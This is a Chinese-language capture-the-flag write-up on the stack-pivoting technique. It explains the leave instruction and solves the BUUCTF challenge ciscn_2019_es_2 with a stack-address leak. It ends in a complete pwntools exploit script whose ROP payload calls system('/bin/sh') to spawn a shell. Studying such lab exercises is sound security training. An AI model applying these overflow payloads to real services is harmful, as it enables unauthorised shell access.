栈迁移简介

当程序输入不足以构造rop链,但是又能覆盖rbp(ebp)就可以考虑栈迁移,让程序换个地方执行rop链

原理

leave指令

leave 相当于

  1. mov esp ebp
  2. pop ebp
1
2
3
4
5
6
1. 栈初始状态
0x0001 esp
0x0002
0x0003 ebp
0x0004 return addr
0x0005
1
2
3
4
5
6
2. 执行 mov esp ebp
0x0001
0x0002
0x0003 esp ebp
0x0004 return addr
0x0005
1
2
3
4
5
6
3. 执行 pop ebp
0x0001
0x0002
0x0003
0x0004 esp return addr ebp此时为之前0x0003里的值
0x0005

具体实现

填充完buf后,覆盖ebp,让ebp处的值位新的地址

在0x0003的位置填上所要跳转的地址,再次执行leave,则程序就会跳转到目标地址

注意栈迁移时第一次的return addr为下一次leave的地址

跳转完成后,新地址的下一处地址即为esp的位置

另外

如果没有PIE保护或者可以直到PIEbase的话可以让栈迁移到bss段上,修改返回地址为read再次栈溢出读到bss段上,再次leave即可

实例

题目来源:BUUCTF在线评测 (buuoj.cn) ciscn_2019_es_2

分析

main函数没什么好看的,初始化后就来到了这里

1

程序有两次read,显然0x30的长度不足以构造rop链,因此可以考虑栈迁移

首先第一个read把s填满后让printf读,只要没有\x00,printf就会一直读下去,因此可以让printf读出ebp泄露栈地址

第二个read就可以考虑栈迁移了,这里把ROP写到s中,也就是栈上,栈迁移后程序继续在栈上执行

第二次的payload

1
2
3
payload=p32(1)+p32(0x8048400)+p32(0)+p32(addr-0x18)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')
payload+=p32(addr-0x28)+p32(leave)

首先p32(1)是填充垃圾数据,让esp跳转到这里之后pop ebp让esp指向第二个p32()也就是system

p(0)是因为32位下system和参数间要填充四个字节

后面的addr-0x18是为了构造指向binsh的指针,因为system的参数要是指针才可以

之后填充s,覆盖ebp让ebp的地址为s里,后面返回地址为下一个leave ret处

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='i386',os='linux')

r=process('./ciscn_2019_es_2')
#r=remote('node5.buuoj.cn',28904)

leave=0x8048562
system=0x8048400


#gdb.attach(r)
payload=0x27*b'a'+b'p'
r.send(payload)#1
r.recvuntil('p')
addr=u32(r.recv(4))
addr=addr-0x10
print(hex(addr))
payload=p32(1)+p32(0x8048400)+p32(0)+p32(addr-0x18)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')
payload+=p32(addr-0x28)+p32(leave)
gdb.attach(r)
pause()
r.sendline(payload)#2
r.interactive()